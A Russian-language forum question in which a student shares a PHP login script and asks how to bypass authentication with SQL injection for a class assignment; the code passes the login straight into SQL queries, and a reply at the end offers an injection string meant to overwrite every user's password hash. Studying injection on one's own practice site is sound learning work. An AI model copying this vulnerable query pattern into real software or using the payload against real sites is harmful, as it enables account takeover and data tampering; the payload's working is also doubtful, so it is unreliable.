Всем привет, получил задание написать простую форму регистрации и авторизации на сайте,успешно справился, теперь нужно зайти на сайт зная только логин, но не зная пароля с помощь SQL-инъекции. Как это сделать не могу понять, уже все статьи и туториалы пересмотрел, ищу помощи здесь Вот код, проверяющий правильность введеного логина и пароля
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="style1.css">
</head>
<body>
<div class="form-wrap">
<h2 class="header-title" >Главная страница</h2>
<form action="index.php" method="post" class="forma">
<?
// вся процедура работает на сессиях. Именно в ней хранятся данные пользователя, пока он находится на сайте. Очень важно запустить их в самом начале странички!!!
if (isset($_POST['login'])) {
$login = $_POST['login'];
if ($login == '') {
unset($login);
}
} //заносим введенный пользователем логин в переменную $login, если он пустой, то уничтожаем переменную
if (isset($_POST['password'])) {
$password=$_POST['password'];
if ($password ==''){
unset($password);
}
}
//заносим введенный пользователем пароль в переменную $password, если он пустой, то уничтожаем переменную
if (empty($login) or empty($password))//если пользователь не ввел логин или пароль, то выдаем ошибку и останавливаем скрипт
{
echo ("Вы ввели не всю информацию, вернитесь назад и заполните все поля!");?>
<input type="submit" name="close" value="Назад" class="btn">
<?
exit ();
}
//если логин и пароль введены,то обрабатываем их, чтобы теги и скрипты не работали, мало ли что люди могут ввести
$login = stripslashes($login);
$login = htmlspecialchars($login);
$password = stripslashes($password);
$password = htmlspecialchars($password);
//удаляем лишние пробелы
$login = trim($login);
$password = trim($password);
// подключаемся к базе
include ("bd.php");// файл bd.php должен быть в той же папке, что и все остальные, если это не так, то просто измените путь
$privilage = mysqli_query($db, "SELECT privilage FROM user WHERE login='$login'");
$priv = mysqli_fetch_array($privilage);
$result = mysqli_query($db, "SELECT * FROM user WHERE login='$login'");
//извлекаем из базы все данные о пользователе с введенным логином
$myrow = mysqli_fetch_array($result);
$password = md5($password ."sdf");
//если существует, то сверяем пароли
if ($myrow['password']==$password) {
//если пароли совпадают, то запускаем пользователю сессию! Можете его поздравить, он вошел!
$_SESSION['login']=$myrow['login'];
$_SESSION['id']=$myrow['id'];
//эти данные очень часто используются, вот их и будет "носить с собой" вошедший пользователь
if ($priv['privilage'] != NULL){
?>
<div class="login">
<?
echo "Вы зашли как <br>";
echo "администратор ".$_SESSION['login']." ";
?>
</div>
<?
}
else{
?>
<div class="login">
<?
echo "Вы вошли как <br>";
echo "".$_SESSION['login']."";
?>
</div>
<?
}
}
else {
//если пароли не сошлись
echo ("Извините, введённый вами логин или пароль неверный.");
?>
<input type="submit" name="close" value="Назад" class="btn">
<?
exit();
}
?>
<input type="submit" name="close" value="Выйти" class="btn">
</form>
</div>
</body>
</html>
'( update user set password = md5('123sdf')'
и после этого зайти с паролем 123 =) Кстати войти на этот "сайт" можно незная ни логина ни пароля1' and login=( update user set password = md5('123sdf'))
После попытки войти - пароль для всех пользователей станет 123